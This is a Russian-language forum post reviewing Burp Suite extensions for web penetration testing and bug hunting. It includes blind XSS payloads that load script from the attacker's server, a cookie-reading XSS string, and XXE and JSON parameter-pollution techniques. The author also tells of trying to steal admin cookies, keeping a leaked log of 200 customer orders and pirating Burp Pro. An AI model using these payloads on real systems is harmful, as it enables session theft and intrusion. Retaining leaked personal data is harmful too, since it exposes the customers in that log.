LIMB
Вход Регистрация

тема

Burp Suite с модами: превращаем скромный прокси в боевого покемона

YmbMember · · 1 ответов · 454 просмотров

Не удалось прогрузить медиа

В статье не содержатся призывы к нарушению законодательства. Автор не несёт ответственности за возможные действия третьих лиц, предпринятые на основе прочитанного.
Вступление
В 2003 году James Kettle впервые анонсировал инструмент Burp Suite, написанный его компанией portswigger. Тогда публике он очень понравился, и с того момента он стал неотъемлемой частью инструментария у любого веб пентестера.  Я не помню времени, когда я садился тестить веб приложения и не запускал его.
Важно понимать, что когда мы говорим про burp suite то это не только Proxy и Repeater. Он напичкан всякими инструментами по типу collaborator, intruder, comparer какие я использую постоянно. Но почему-то много кто забивает на то, что для burp suite можно написать кастомные плагины, какие очень упростят и автоматизируют работу. Часть из уже готовых находится во вкладке Extensions
Не удалось прогрузить медиа

А часть из них вы можете скачать из открытого доступа. Например на GitHub. И сегодня я хотел бы показать те плагины, какие я использую на постоянной основе при тестировании

[NOTE] Почти для всех плагинов вам нужен Burp Suite Pro. Скачайте crack или купите


Param Miner
Ну это мой фаворит. Я его использую максимально часто.
Основное предназначение этого расширения - это поиск скрытых параметров и заголовков. Как по мне, оно превосходит те самые arjun и x8 в разы.  Не буду врать, этот плагин я использую нереально часто, почти в каждом запросе.. 
Давайте сперва разберемся зачем нужно это искать.
Вообще, скрытые параметры/заголовки - это то, что пользователь не видит на прямую, но сервер их принимает. Возьмём вот такой пример, для понимания зачем это надо:
Есть простая форма регистрации site.com/register . Вроде обычная форма, но она может скрывать от глаз что-то интересное, например, параметр isadmin. И если мы добавим isadmin=true, то зарегаемся от имени админа. Не ищите в таком определенной логики, если вы нашли какой-то параметр, то сами ищите для чего он нужен и что с ним можно интересного сделать
В 50проц случаях, всегда всякие уязвимости (та самая SQLi) спрятаны в скрытых параметрах, какие забыли со времен динозавров и до вас их никто не видел. Аналогично и с заголовками. Но давайте продолжим рассматривать плагин:

Он имеет 4 основных функции, все остальные я никогда не юзал
Не удалось прогрузить медиа

Guess headers - пробует угадать скрытые заголовки. Кстати, большой + Param Miner’a в том, что он использует cache busterы. Так шанс что что-то упустить довольно мал.
Все находки он вам кидает в Issues и в Output (Чекайте output, если у вас не Burp Suite pro)
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Но вывод в output очень не удобен, если вы синхронно что-то ищите на несколько страницах то это вообще беда. Советую не полениться и скачать burp suite pro
Я нашёл для себя свой метод использования функции перебора заголовков. При запуске единственное, что я меняю - это canary. Туда я пихаю blind xss пэйлоады и burp collaborator, url чтобы ловить пингбэки
Не удалось прогрузить медиа

Вот вам мой список blind xss payloads какие я туда пихаю
Code:
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src= https://вашсервер></scrIpt>


';"</script><script/src=//https://вашсервер></script>

И стандартные с xss report (доступны там в профиле)

Был у меня 1 случай, когда это неожиданно сработало. Спустя где-то неделю после ночных тестирований я словил неожиданное уведомление от xss.report, что пелоад стрельнул прямо в админке 
Не удалось прогрузить медиа

Я знатно охуел. Но куки вытащить не удалось :((
Как это сработало ? Когда Param Miner перебирал со своего словаря заголовки, он отправил запрос с каким-то заголовком, какой отвечает скорее всего за аналитику. Ну и когда какой-то работник просматривал логи через веб панель я заразил его случайно =)

Guess query params используется для поиска скрытых параметров в GET запросах.
Не удалось прогрузить медиа

В основном в таких параметрах я ловил всякие логические баги по типу любимых idorчиков. Но и бывало такое, что были и всякие SQLi. 
Наверное самый такой запоминающийся случай был, когда я тестировал одно веб приложение на заказ на базе bitrix. В корне сайта был найден параметр ?action . Я дал ему значение download и получил лог файл log.txt с 200 заказами. Я даже его у себя на память оставил.
Не удалось прогрузить медиа

Тут находяться служебные записи о срабатывании событий в Битриксе. Это очень нетипично для bitrix’a, и я минут 10 охуевал и не понимал что случилось. Ну и ладно, у кодера наверное свои тараканы в голове

body params. Тут мне нечего добавить, работает так же как и query params. Могу только от себя добавить, что в POST запросах намного больше встречается скуля. Думаю такой совет будет полезный для аудитории форума 

Guess cookies поможет обнаружить скрытые атрибуты в cookies. Если честно, я так ничего и не встретил интересного с этой функцией. Но это не значит, что ее не стоит использовать.

Reflector
А вот это просто нереальный плагин. Тоже мой фаворит. Те кто любит xss и не слышал о нем, готовьтесь, я сейчас вам поменяю процесс обнаружения alert’ов )
Не удалось прогрузить медиа

Простота — высшая степень утончённости» (Леонардо да Винчи). Работает просто, но метко. Он в значения параметров пихает спец. символы по типу < > ‘ | “ -  ….  . Если спец символы не экранированы - он уведомит вас об этом с красным флажком.
Не удалось прогрузить медиа

Также он уведомит, если отражаются какие то атрибуты в куки (очень полезно для отравления кэша) ну и если отражаются параметры. Мало ли, вам  захочется вручную сорвать целку с санитайзера
Не удалось прогрузить медиа

С param miner и katana это расширение просто мясо. (запускаем katana и через флаг –proxy пускаем трафик через бурп) . Вот вам моя недавняя находка (ещё даже не успели трижнуть). Это благодаря работе в паре с Param Miner’ом, а katana просто нашёл мне этот эндпоинт пока лазил по сайту
Не удалось прогрузить медиа

Param Miner нашёл скрытый параметр client_id. Оказалось, что этот параметр не экранировал ВООБЩЕ никакие спец символы. Ему было просто наплевать, пускал через себя все что видел.
Не удалось прогрузить медиа

Отражалось значение в JSON. В итоге самый простой пейлоад text%22-alert(document.cookie)-%22test 
мне выдал pop up =). Так мало того еще и с куками.
И таких примеров с этим расширением у меня куча. Вы можете просто лутать халявные XSS. Не видел нигде чтоб писали о том, как reflector и param miner/katana в паре шуму наводят. Поэтому exclusive
Не удалось прогрузить медиа


Software vulnerability scanner
Вот вы ведь тоже, когда ищите инфу о какой-то CVE в гугле, кликаете на vulners.com ? Я ж не один такой?)  Не знаю почему, но vulners.com мне больше всего нравиться из всех аналоговых сайтов какие есть. И вот недавно я узнал, что они оказывается давным давно они выпустили чертовски полезный плагин для Burp suite
Не удалось прогрузить медиа

Суть в том, что при серфинге таргета он детектит технологии и смотрит, уязвимы ли они к каким-то CVEхам
Я его больше использую как дополнение к wappalyzer, чтобы более тщательно пройтись по технологиям используемыми таргетов. 
Не удалось прогрузить медиа

Он часто что-то находит. Так что я вам советую после окончания теста над каким то таргетом выделить день и прогнать таргет по найденным эксплоитам.

Collaborator Everywhere
Collaborator everywhere - это расширение,  какое автоматически пихает burp collaborator везде где только можно в запросе. Преимущественно в заголовки. Но стоит помнить, что вы можете сами настроить работу плагина и показать ему, куда пихать collaborator url
Не удалось прогрузить медиа

Преимущественно это полезно для blind ssrf. Но так же может помочь в уязвимостях по типу отравления кэша и sqli
На это расширение я наткнулся где-то 2 недели назад, и у меня появилась вот такая вот интересная находка. Скорее аномалия. Хотелось бы показать что-то серьезнее, ну уж простите, что есть то и показываю.
В issues мне пришло, что через заголовок x-forwarded-for прилетает пингбэк на коллаборатор. 
Не удалось прогрузить медиа

Немного покопавшись, я ничего интересного не нашел. Но если поставить /, то ломается парсер и вылетает вот такая вот ошибка
Не удалось прогрузить медиа

Так что если что предложить, то пишите в лс. Если будет что-то интересное, я с радостью напишу за просто так статью на форум. Баунти поделим
Content type converter
Это расширение поможет вам конвертировать параметры POST запроса в XML / JSON формат. Ничего больше сказать про него я не могу
Не удалось прогрузить медиа

Но я хотел бы выделить 2 интересных бага, найденных ресерчерами при помощи этого расширения.
  1. JSON в XXE
Довольно нестандартно. Все мы привыкли тестить на наличие XXE, только когда в запросе есть XML тело. Но давайте немного углубимся в историю.
Лет 10 назад json никто не использовал, тогда все использовали печально известный xml. Но со временем технологии меняются, и на замену ему пришел json. Теперь не читайте дальше, и подумайте, что я хочу вам рассказать. Подумали? Двигаем дальше.  На некоторых веб приложениях может использоваться json, но тот же функционал с xml тоже доступен, просто он забыт где то далеко и об этом знает только сам кодер и его кореш.
Поэтому мы просто конвертируем с json в xml и смотрим на ответ. Если он аналогичен с запросом где в теле json или кидает какую-то ошибку по типу {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

То вы нашли эндпоинт, где используется XML. Дальше найти XXE и эксплуатировать за вами

 Референс: https://www.netspi.com/blog/technical-blog/web-application-pentesting/playing-content-type-xxe-json-endpoints/

  1. Account takeover на GitLab
Тут все оказалось тоже очень просто, но б**ть, как же гениально!. при сбросе пароля был обычный post запрос на отправку письма для сброса. Хакер переконвертировал тело в json при помощи этого расширения, и скинул пароль на две почты через технику, какая называется Json Parameter Pollution

Референс: https://hackerone.com/reports/2293343


Jsminer
Тоже очень полезный инструмент. Он смотрит .js файлы какие пролетают через прокси на наличие чего-то интересного. Тоже очень мощно себя проявляет, когда работает вместе с katana
Не удалось прогрузить медиа

Может выявлять зависимости в NPM и проверять наличии уязвимости Dependency Confusion в проектах
Не удалось прогрузить медиа

Может находить какие-то забытые апи ключи и другие креды. Правда в 99проц случаев спамит фолс позитивами, нужно все проверять ручками
Не удалось прогрузить медиа

Также мне очень нравиться, что в этом инструменте есть поиск поддоменов. Можете считать это небольшим дополнением к прошлой статье, где я показываю методы сбора поддоменов https://forum.LIMB.cc/threads/1020/
Не удалось прогрузить медиа

Также он может пассивно проверять JS файлы, какие есть в .map, доставать ссылки на облачные хранилища, доставать api endpoint'ы и немного других второстепенных фич. 

Под конец статьи я бы хотел вам пожелать смачных багов. И хотел бы попросить делиться своими находками в лс, какие были найдены благодаря материалу какой я сюда пишу, чтобы меня порадовать. Удачи
👍33 🔥4 😮9 🤔6
Интересно  (y)

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.